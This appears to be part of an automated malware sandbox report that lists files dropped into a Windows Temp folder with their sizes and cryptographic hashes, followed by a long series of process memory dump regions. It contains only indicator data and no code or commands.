d296593cb2b91a98b1dd6f51dfb8052bb9aed2a1306397321fbef879a0cff038563dbabb29d3d619a04ff3d7e73e97fe2146b46947613cba6c06cb2c90a712a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Theology.cab

Filesize
97KB

MD5
ecb25c443bdde2021d16af6f427cae41

SHA1
a7ebf323a30f443df2bf6c676c25dee60b1e7984

SHA256
a7e9b0a59046eb9a90c05141df79321f57fe55cb6c97c99b249757bca6596074

SHA512
bde36b62c53292a28be26a9056c5b392191474d0c7e19244e40f264bbdef703d2bbeea226d8832d181a691cf2da7655ee6f0d85ffc63c0146a6810bfcafa6182

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tigers.cab

Filesize
31KB

MD5
034e3281ad4ea3a6b7da36feaac32510

SHA1
f941476fb4346981f42bb5e21166425ade08f1c6

SHA256
294e5bec9087be48ee67fa9848a80864ffca2d971de003e0b906dbcbfa57d772

SHA512
85fbd172fdf85a256a2a3c1651d9022b0c3392b7ac5cdaf6685912f70c5761f880418a5de50aa63e3af0757feb1153d530774812d93f61e6e1e984440ccac833

Download Submit
C:\Users\Admin\AppData\Local\Temp\Uw

Filesize
59KB

MD5
0c42a57b75bb3f74cee8999386423dc7

SHA1
0a3c533383376c83096112fcb1e79a5e00ada75a

SHA256
137b0f0785a75e269fa9a61283a98bdf5291dd474d954d747dfe29b7e35b8fe8

SHA512
d6d79cf9c312c4bb76fef6499ae278b287196fe056a542da8be6ff7818f0d8a53d78c6af9c49e27c81fcb58c3c8d261f631212020a6f8f8b44bed682a959279c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Via

Filesize
15KB

MD5
13245caffb01ee9f06470e7e91540cf6

SHA1
08a32dc2ead3856d60aaca55782d2504a62f2b1b

SHA256
4d76b36e2a982bdf5e29301e7f7dbe54743232763db53a11d3c8b9b523a72dc6

SHA512
995e8d7edf567bcc6d087495a53471d9e88f898467fa5d2f9985893a9e6a80826e825bea3bea51ee86744515f7feec5caab6e6f5b8398f36de309b2ad594646b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Visitor.cab

Filesize
55KB

MD5
061cd7cd86bb96e31fdb2db252eedd26

SHA1
67187799c4e44da1fdad16635e8adbd9c4bf7bd2

SHA256
7a22989124ffda80fdefb8266c31f4a163894310bc25ebb10a29e3aa3546c1fc

SHA512
93656db6875830518032ea3064857aef8733560c13d6b15b3511db2c0ddbdb45fc426828664d4d50f3d642e93affcc2ff76c163c383e0017ded2186e338d4c59

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yo23ilzv.flr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c7283LmOu.hta

Filesize
717B

MD5
31ed133c3ec6a78a724c8667f5f76bf4

SHA1
1842b470d8dbc5666c9b74a25da0826ff9765c01

SHA256
1597683cb341e7486748f45ab890b80b8599b87c8c481a4fb6c84eb38d60a66f

SHA512
2396b03bd8ef3707e782edf57371e38d612dcb171e6f5427f04ccb6c3b3ae72ee01f61f19b601329826d5af5054d6dc31e10e1df75f19e4ac55531cb11fc473e

Download Submit
memory/1036-911-0x00000000767B0000-0x00000000769C5000-memory.dmp

Filesize
2.1MB

Download
memory/1036-909-0x00007FFA4E770000-0x00007FFA4E965000-memory.dmp

Filesize
2.0MB

Download
memory/1036-908-0x0000000001180000-0x0000000001580000-memory.dmp

Filesize
4.0MB

Download
memory/1036-906-0x0000000000BB0000-0x0000000000BBA000-memory.dmp

Filesize
40KB

Download
memory/1096-972-0x0000000000C70000-0x0000000001119000-memory.dmp

Filesize
4.7MB

Download
memory/1096-974-0x0000000000C70000-0x0000000001119000-memory.dmp

Filesize
4.7MB

Download
memory/1456-1004-0x0000000000400000-0x0000000000E17000-memory.dmp

Filesize
10.1MB

Download
memory/1456-998-0x0000000000400000-0x0000000000E17000-memory.dmp

Filesize
10.1MB

Download
memory/1656-1032-0x0000000010000000-0x000000001001C000-memory.dmp

Filesize
112KB

Download
memory/1656-1003-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1656-1001-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1656-1055-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1656-1024-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1744-914-0x00000000043E0000-0x0000000004444000-memory.dmp

Filesize
400KB

Download
memory/1744-917-0x00000000043E0000-0x0000000004444000-memory.dmp

Filesize
400KB

Download
memory/1744-916-0x00000000043E0000-0x0000000004444000-memory.dmp

Filesize
400KB

Download
memory/1744-915-0x00000000043E0000-0x0000000004444000-memory.dmp

Filesize
400KB

Download
memory/1744-913-0x00000000043E0000-0x0000000004444000-memory.dmp

Filesize
400KB

Download
memory/1892-219-0x0000000000400000-0x0000000000464000-memory.dmp

Filesize
400KB

Download
memory/1892-220-0x0000000000400000-0x0000000000464000-memory.dmp

Filesize
400KB

Download
memory/3336-4-0x0000000004BD0000-0x0000000004BF2000-memory.dmp

Filesize
136KB

Download
memory/3336-20-0x0000000005FB0000-0x0000000005FCA000-memory.dmp

Filesize
104KB

Download
memory/3336-16-0x0000000005490000-0x00000000057E4000-memory.dmp

Filesize
3.3MB

Download
memory/3336-5-0x00000000053B0000-0x0000000005416000-memory.dmp

Filesize
408KB

Download
memory/3336-17-0x0000000005A70000-0x0000000005A8E000-memory.dmp

Filesize
120KB

Download
memory/3336-18-0x0000000005B20000-0x0000000005B6C000-memory.dmp

Filesize
304KB

Download
memory/3336-19-0x00000000071C0000-0x000000000783A000-memory.dmp

Filesize
6.5MB

Download
memory/3336-24-0x0000000007DF0000-0x0000000008394000-memory.dmp

Filesize
5.6MB

Download
memory/3336-22-0x0000000006FE0000-0x0000000007076000-memory.dmp

Filesize
600KB

Download
memory/3336-6-0x0000000005420000-0x0000000005486000-memory.dmp

Filesize
408KB

Download
memory/3336-23-0x0000000006F40000-0x0000000006F62000-memory.dmp

Filesize
136KB

Download
memory/3336-3-0x0000000004C90000-0x00000000052B8000-memory.dmp

Filesize
6.2MB

Download
memory/3336-2-0x0000000002490000-0x00000000024C6000-memory.dmp

Filesize
216KB

Download
memory/3556-238-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/3556-250-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/3624-1006-0x0000000000400000-0x00000000008AB000-memory.dmp

Filesize
4.7MB

Download
memory/3624-204-0x0000000000400000-0x00000000008AB000-memory.dmp

Filesize
4.7MB

Download
memory/3624-222-0x0000000000400000-0x00000000008AB000-memory.dmp

Filesize
4.7MB

Download
memory/3624-874-0x0000000000400000-0x00000000008AB000-memory.dmp

Filesize
4.7MB

Download
memory/3624-203-0x0000000000400000-0x00000000008AB000-memory.dmp

Filesize
4.7MB

Download
memory/3624-976-0x0000000000400000-0x00000000008AB000-memory.dmp

Filesize
4.7MB

Download
memory/3624-980-0x0000000000400000-0x00000000008AB000-memory.dmp

Filesize
4.7MB

Download
memory/3624-982-0x0000000000400000-0x00000000008AB000-memory.dmp

Filesize
4.7MB

Download
memory/3624-933-0x0000000000400000-0x00000000008AB000-memory.dmp

Filesize
4.7MB

Download
memory/3624-1049-0x0000000000400000-0x00000000008AB000-memory.dmp

Filesize
4.7MB

Download
memory/3624-956-0x0000000000400000-0x00000000008AB000-memory.dmp

Filesize
4.7MB

Download
memory/3624-958-0x0000000000400000-0x00000000008AB000-memory.dmp

Filesize
4.7MB

Download
memory/3716-1070-0x00007FF6BCDE0000-0x00007FF6BD49D000-memory.dmp

Filesize
6.7MB

Download
memory/3716-1071-0x00007FF6BCDE0000-0x00007FF6BD49D000-memory.dmp

Filesize
6.7MB

Download
memory/3780-902-0x0000000002730000-0x0000000002B30000-memory.dmp

Filesize
4.0MB

Download
memory/3780-899-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3780-900-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3780-901-0x0000000002730000-0x0000000002B30000-memory.dmp

Filesize
4.0MB

Download
memory/3780-903-0x00007FFA4E770000-0x00007FFA4E965000-memory.dmp

Filesize
2.0MB

Download
memory/3780-905-0x00000000767B0000-0x00000000769C5000-memory.dmp

Filesize
2.1MB

Download
memory/4512-873-0x0000000000FE0000-0x0000000001482000-memory.dmp

Filesize
4.6MB

Download
memory/4512-875-0x0000000000FE0000-0x0000000001482000-memory.dmp

Filesize
4.6MB

Download
memory/4600-1028-0x0000000000400000-0x0000000000CD7000-memory.dmp

Filesize
8.8MB

Download
memory/4600-1022-0x0000000000400000-0x0000000000CD7000-memory.dmp

Filesize
8.8MB

Download
memory/4616-113-0x0000000004C60000-0x0000000004E22000-memory.dmp

Filesize
1.8MB

Download
memory/4616-115-0x00000000067D0000-0x0000000006862000-memory.dmp

Filesize
584KB

Download
memory/4616-114-0x0000000005BE0000-0x000000000610C000-memory.dmp

Filesize
5.2MB

Download
memory/4616-111-0x0000000000260000-0x000000000029C000-memory.dmp

Filesize
240KB

Download
memory/4616-112-0x0000000004A70000-0x0000000004A82000-memory.dmp

Filesize
72KB

Download
memory/4676-32-0x00000000002A0000-0x0000000000754000-memory.dmp

Filesize
4.7MB

Download
memory/4676-47-0x00000000002A0000-0x0000000000754000-memory.dmp

Filesize
4.7MB

Download
memory/4828-1025-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/4828-1026-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/4828-1056-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/5136-957-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/5136-811-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/5136-155-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/5136-975-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/5136-48-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/5136-981-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/5136-1029-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/5136-188-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/5136-1005-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/5136-977-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/5136-941-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/5136-1073-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/5136-221-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/5136-912-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/5136-79-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download
memory/5680-1051-0x0000000000EA0000-0x0000000001332000-memory.dmp

Filesize
4.6MB

Download
memory/5680-1048-0x0000000000EA0000-0x0000000001332000-memory.dmp

Filesize
4.6MB

Download
memory/5796-935-0x0000000000400000-0x0000000000463000-memory.dmp

Filesize
396KB

Download
memory/5796-934-0x0000000000400000-0x0000000000463000-memory.dmp

Filesize
396KB

Download
memory/6124-979-0x0000000000950000-0x0000000000E04000-memory.dmp

Filesize
4.7MB

Download